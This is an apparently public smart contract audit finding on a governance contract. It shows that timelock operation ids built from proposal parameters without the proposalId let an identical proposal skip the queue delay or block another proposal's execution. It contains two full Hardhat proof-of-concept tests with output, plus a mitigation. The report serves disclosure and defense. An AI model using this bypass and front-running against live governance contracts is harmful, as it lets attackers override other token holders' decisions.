Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Attacker can bypass mandatory timelock delay for queued proposal and DoS other proposal due to non-unique id generation in state()

Summary

The state() function generates an id which is used to process and query queueing and execution of proposals in timelock. This is not necessarily unique:

bytes32 id = _timelock.hashOperationBatch(
proposal.targets,
proposal.values,
proposal.calldatas,
bytes32(0),
proposal.descriptionHash
);

The same is done in _queueProposal() and _executeProposal().

The expected execution flow by the protocol is that once proposal voting duration ends and proposal is successful, execute() needs to be called twice:

  • In first call, execute() --> _queueProposal() results in a timelock of 2 days (as configured in tests)

  • After 2 days, in the second call execute() --> _executeProposal() results in the proposal getting executed.

However, the queue timelock of 2 days can be bypassed. More importantly, someone else's proposal's second call to execute() can be permanently reverted by an attacker.

Description & Impact

First some context on proposals - Two separate proposals by Alice and Bob could have identical targets, values, calldatas, description and yet be different. For example they both could propose to call setValue(42) but inside the function setValue(), the output could be different based on the block.timestamp i.e. WHEN the proposal got executed and hence the call to the function made. The protocol allows this because a unique monotonically increasing proposalId is assigned to each proposal, even with identical parameters.

This is important because Alice could float a proposal on 21st March which if passed, gets executed 10 days later (as per test config) on 31st March and gives airdrop. Bob however floats his proposal on 23rd March and hence ideally this will get executed 10 days later on 2nd April i.e. the new financial year (FY from 1st April). Hence the airdrop would be taxable in the next year and will have to be shown in recipients' tax returns much later. Similar time-sensitive use cases may exist regarding WHEN an interest payment is to be credited or deposits to be stopped and 2-3 proposals may be floated one after another with a gap of few days to ensure staggerred execution.

Note: Even if one somehow disagrees with the above statements, the VARIATION-2 of the attack shown below still holds and does not require the above pre-condition explicitly.

A malicious (or even an honest) proposer can use this understanding and trust to hasten the timelines in two ways:

VARIATION-1: (coded as PoC-1)

Imagine the scenario:

  1. Current config as per tests: voting ends 8 days after proposal is floated. Then, first call to execute() can be made and the proposal is queued. 2 days later, second call to execute() can be made and the proposal is executed. That is, it takes 10 days from start to finish.

  2. Alice floats proposal with some targets, values, calldatas, description on 10-Feb. Her proposalId = 0. She would be eligible to call execute(0) the first time on 18-Feb and the second time on 20-Feb.

  3. Bob the malicious user waits for 2 days & floats his proposal on 12-Feb with identical params targets, values, calldatas, description. His proposalId = 1. So far so good. He would be eligible to call execute(1) the first time on 20-Feb and the second time on 22-Feb.

  4. Votes are cast and Alice's proposal is successful. She calls execute(0) on 18-Feb and proposal is queued in timelock.

  5. Bob's proposal is successful too and he can call his first execute(1) no earlier than 20-Feb.

  6. On 20-Feb, Alice prepares to call her second execute(0). Bob front-runs her and calls execute(1). Since the id generated by hashing targets, values, calldatas, description is the same for both the proposals, state() assumes Bob's proposal is already past the queue stage and pushes into execution stage. This is in spite of the fact that Bob called execute() with his proposalId = 1 ! (Note: There's a variation possible here. Alice could cancel her proposal just before 20-Feb and Bob would still be able to call execute(1) and bypass the queue time. This is because the timelock queue is not flushed of the id when a proposal is cancelled).

  7. Bob's proposal gets executed immediately with no queue wait and is marked as ProposalState.Executed.

  8. Alice's tx containing the execute(0) call also goes through after this but now reverts with error OperationAlreadyScheduled(). There`s no way for her now to get her proposal executed.

Note that the aforementioned scenario could happen inadvertently too, without Bob being malicious.

Here's a table showing this behaviour which is the output of the coded PoC-1 provided in the next section:

Governance
Proposal Creation
Proposal Timeline:
┌─────────┬──────────┬─────────────────────┬────────────────────────────┬────────────────────────────────────────────┐
│ (index) │ Proposal │ Event │ Timestamp │ Notes │
├─────────┼──────────┼─────────────────────┼────────────────────────────┼────────────────────────────────────────────┤
0'Alice''Proposal Created''2026-02-10T00:00:00.000Z''ID: 0'
1'Alice''Vote Cast''2026-02-11T00:00:00.000Z'''
2'Bob''Proposal Created''2026-02-12T00:00:00.000Z''ID: 1'
3'Bob''Vote Cast''2026-02-13T00:00:00.000Z'''
4'Alice''Proposal Queued''2026-02-18T00:00:00.000Z''First execute() call - enters queue'
5'Bob''Proposal Executed''2026-02-20T00:00:00.000Z'"Bypassed queue by using Alice's timelock"
└─────────┴──────────┴─────────────────────┴────────────────────────────┴────────────────────────────────────────────┘
1) shows bypass of proposal queue timelock
0 passing (7s)
1 failing
1) Governance
Proposal Creation
shows bypass of proposal queue timelock:
Error: VM Exception while processing transaction: reverted with custom error 'OperationAlreadyScheduled("0xd1af910fcaa69c01b7e5ec617d1512bd7160f9cdf300c6d90d36730473c1ffac")'
at TimelockController.executeEmergencyAction (contracts/core/governance/proposals/TimelockController.sol:245)
at TimelockController.scheduleBatch (contracts/core/governance/proposals/TimelockController.sol:114)
at Governance._queueProposal (contracts/core/governance/proposals/Governance.sol:505)
at Governance.execute (contracts/core/governance/proposals/Governance.sol:229)
at EdrProviderWrapper.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:444:41)
at HardhatEthersSigner.sendTransaction (node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18)
at send (node_modules/ethers/src.ts/contract/contract.ts:313:20)
at Proxy.execute (node_modules/ethers/src.ts/contract/contract.ts:352:16)

VARIATION-2: (coded as PoC-2)

  1. Steps 1-4 same as above. Alice has created a proposal with proposalId = 0 and her proposal is queued in timelock after her call to execute(0) on 18-Feb.

  2. Alice cancels her proposal on 19-Feb, before calling the second execute(0).

  3. Bob feels the proposal carried value for the ecosystem and is disappointed that Alice cancelled it before finalization. Bob floats his proposal on 21-Feb with identical parameters. He would be eligible to call his first execute(1) 8 days later on 01-Mar. Bob's proposalId = 1.

  4. Bob calls execute(1) on 01-Mar. Instead of queueing this in timelock for 2 days, it goes straight through for execution! This is because the id is same as Alice's proposal and the timelock has not flushed it out of the queue.

  5. Bob's proposal just bypassed the mandatory queue time.

Proof of Concepts

PoC-1:

Click to view PoC-1

Add this inside test/unit/core/governance/proposals/Governance.test.js and run to see it revert with error OperationAlreadyScheduled():

it("shows bypass of proposal queue timelock", async () => {
const timelineData = [];
const addTimelineEvent = (proposal, event, timestamp, notes = '') => {
timelineData.push({
Proposal: proposal,
Event: event,
Timestamp: new Date(timestamp * 1000).toISOString(),
Notes: notes
});
};
// Setup test parameters
const setValue = 42n;
const targets = [await testTarget.getAddress()];
const values = [0n];
const calldatas = [testTarget.interface.encodeFunctionData("setValue", [setValue])];
const description = "RAAC Reward Proposal";
// Get initial time (say Feb 10th)
await time.setNextBlockTimestamp(new Date('2026-02-10').getTime() / 1000);
// Setup voting power
await veToken.mock_setVotingPower(await user1.getAddress(), ethers.parseEther("6000000"));
await veToken.mock_setVotingPower(await user2.getAddress(), ethers.parseEther("2000000"));
// Alice proposes on Feb 10th
const tx1 = await governance.connect(user1).propose(
targets, values, calldatas, description, 0
);
const receipt1 = await tx1.wait();
const event1 = receipt1.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const aliceProposalId = event1.args.proposalId;
addTimelineEvent('Alice', 'Proposal Created', await time.latest(), `ID: ${aliceProposalId}`);
// Move to Feb 11th for casting votes on Alice's proposal
await time.setNextBlockTimestamp(new Date('2026-02-11').getTime() / 1000);
// Vote on Alice's proposal
await governance.connect(user1).castVote(aliceProposalId, true);
addTimelineEvent('Alice', 'Vote Cast', await time.latest());
// Move to Feb 12th for Bob's proposal
await time.setNextBlockTimestamp(new Date('2026-02-12').getTime() / 1000);
// Bob creates identical proposal on Feb 12th
const tx2 = await governance.connect(user2).propose(
targets, values, calldatas, description, 0
);
const receipt2 = await tx2.wait();
const event2 = receipt2.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const bobProposalId = event2.args.proposalId;
addTimelineEvent('Bob', 'Proposal Created', await time.latest(), `ID: ${bobProposalId}`);
// Move to Feb 13th for casting votes on Bob's proposal
await time.setNextBlockTimestamp(new Date('2026-02-13').getTime() / 1000);
// Vote on Bob's proposal
await governance.connect(user1).castVote(bobProposalId, true);
addTimelineEvent('Bob', 'Vote Cast', await time.latest());
// Move to Feb 18th for Alice's first execute (queueing)
await time.setNextBlockTimestamp(new Date('2026-02-18').getTime() / 1000);
// Alice queues her proposal on Feb 18th
await governance.execute(aliceProposalId);
addTimelineEvent('Alice', 'Proposal Queued', await time.latest(), 'First execute() call - enters queue');
// Move to Feb 20th
await time.setNextBlockTimestamp(new Date('2026-02-20').getTime() / 1000);
// Verify vulnerability
// Bob front-runs Alice with execute() on Feb 20th and bypasses queue timelock
await governance.execute(bobProposalId);
addTimelineEvent('Bob', 'Proposal Executed', await time.latest(), 'Bypassed queue by using Alice\'s timelock');
expect(await governance.state(bobProposalId)).to.equal(ProposalState.Executed); // ❌ @audit-issue : successfully bypassed queue time !
expect(await testTarget.value()).to.equal(setValue);
// Display timeline table
console.log("\nProposal Timeline:");
console.table(timelineData);
// Can Alice execute her proposal now?
await governance.execute(aliceProposalId); // ❌❌ @audit-issue : reverts !
addTimelineEvent('Alice', 'Proposal Executed Succesfully?', await time.latest(), 'Executed succesfully?');
});

PoC-2:

Click to view PoC-2

Add this inside test/unit/core/governance/proposals/Governance.test.js and run to see it pass with the following output:

it("reuses cancelled proposal's queue timelock", async () => {
const timelineData = [];
const addTimelineEvent = (proposal, event, timestamp, notes = '') => {
timelineData.push({
Proposal: proposal,
Event: event,
Timestamp: new Date(timestamp * 1000).toISOString(),
Notes: notes
});
};
// Setup test parameters
const setValue = 42n;
const targets = [await testTarget.getAddress()];
const values = [0n];
const calldatas = [testTarget.interface.encodeFunctionData("setValue", [setValue])];
const description = "RAAC Reward Proposal";
// Get initial time (say Feb 10th)
await time.setNextBlockTimestamp(new Date('2026-02-10').getTime() / 1000);
// Setup voting power
await veToken.mock_setVotingPower(await user1.getAddress(), ethers.parseEther("6000000"));
await veToken.mock_setVotingPower(await user2.getAddress(), ethers.parseEther("2000000"));
// Alice proposes on Feb 10th
const tx1 = await governance.connect(user1).propose(
targets, values, calldatas, description, 0
);
const receipt1 = await tx1.wait();
const event1 = receipt1.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const aliceProposalId = event1.args.proposalId;
addTimelineEvent('Alice', 'Proposal Created', await time.latest(), `ID: ${aliceProposalId}`);
// Move to Feb 11th for casting votes on Alice's proposal
await time.setNextBlockTimestamp(new Date('2026-02-11').getTime() / 1000);
// Vote on Alice's proposal
await governance.connect(user1).castVote(aliceProposalId, true);
addTimelineEvent('Alice', 'Vote Cast', await time.latest());
// Move to Feb 18th for Alice's first execute (queueing)
await time.setNextBlockTimestamp(new Date('2026-02-18').getTime() / 1000);
// Alice queues her proposal on Feb 18th
await governance.execute(aliceProposalId);
addTimelineEvent('Alice', 'Proposal Queued', await time.latest(), 'First execute() call - enters queue');
// Move to Feb 19th
await time.setNextBlockTimestamp(new Date('2026-02-19').getTime() / 1000);
// Alice cancels her proposal
await governance.connect(user1).cancel(aliceProposalId);
expect(await governance.state(aliceProposalId)).to.equal(ProposalState.Canceled);
addTimelineEvent('Alice', 'Proposal Cancelled', await time.latest(), 'Alice\'s cancels her proposal before 2nd call to execute()');
// A few days later ....
// Move to Feb 21st for Bob's proposal
await time.setNextBlockTimestamp(new Date('2026-02-21').getTime() / 1000);
// Bob creates identical proposal on Feb 21st
const tx2 = await governance.connect(user2).propose(
targets, values, calldatas, description, 0
);
const receipt2 = await tx2.wait();
const event2 = receipt2.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const bobProposalId = event2.args.proposalId;
addTimelineEvent('Bob', 'Proposal Created', await time.latest(), `ID: ${bobProposalId}`);
// Move to Feb 22nd for casting votes on Bob's proposal
await time.setNextBlockTimestamp(new Date('2026-02-22').getTime() / 1000);
// Vote on Bob's proposal
await governance.connect(user1).castVote(bobProposalId, true);
addTimelineEvent('Bob', 'Vote Cast', await time.latest());
// Verify vulnerability
// Move to Mar 1st
await time.setNextBlockTimestamp(new Date('2026-03-01').getTime() / 1000);
// Bob calls first execute() on Mar 1st and bypasses queue timelock
await governance.execute(bobProposalId);
addTimelineEvent('Bob', 'Proposal Executed', await time.latest(), 'Bypassed queue by using Alice\'s timelock');
expect(await governance.state(bobProposalId)).to.equal(ProposalState.Executed); // ❌ @audit-issue : successfully bypassed queue time !
expect(await testTarget.value()).to.equal(setValue);
// Display timeline table
console.log("\nProposal Timeline:");
console.table(timelineData);
});

Output:

Governance
Proposal Creation
Proposal Timeline:
┌─────────┬──────────┬──────────────────────┬────────────────────────────┬─────────────────────────────────────────────────────────────┐
│ (index) │ Proposal │ Event │ Timestamp │ Notes │
├─────────┼──────────┼──────────────────────┼────────────────────────────┼─────────────────────────────────────────────────────────────┤
0'Alice''Proposal Created''2026-02-10T00:00:00.000Z''ID: 0'
1'Alice''Vote Cast''2026-02-11T00:00:00.000Z'''
2'Alice''Proposal Queued''2026-02-18T00:00:00.000Z''First execute() call - enters queue'
3'Alice''Proposal Cancelled''2026-02-19T00:00:00.000Z'"Alice's cancels her proposal before 2nd call to execute()"
4'Bob''Proposal Created''2026-02-21T00:00:00.000Z''ID: 1'
5'Bob''Vote Cast''2026-02-22T00:00:00.000Z'''
6'Bob''Proposal Executed''2026-03-01T00:00:00.000Z'"Bypassed queue by using Alice's timelock"
└─────────┴──────────┴──────────────────────┴────────────────────────────┴─────────────────────────────────────────────────────────────┘
✔ reuses cancelled proposal's queue timelock (65ms)
1 passing (6s)

Mitigation

While hashing and calculating the id in state() and other functions, simply add proposalId too to ensure uniqueness.
Additionally, internally call timelock controller's cancel() when Governance contract's cancel() is called. This results in delete _operations[id] getting executed and the queue is cleared.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance generates non-unique timelock operation IDs for different proposals with identical parameters, allowing timelock bypass and proposal DoS attacks

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance generates non-unique timelock operation IDs for different proposals with identical parameters, allowing timelock bypass and proposal DoS attacks

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.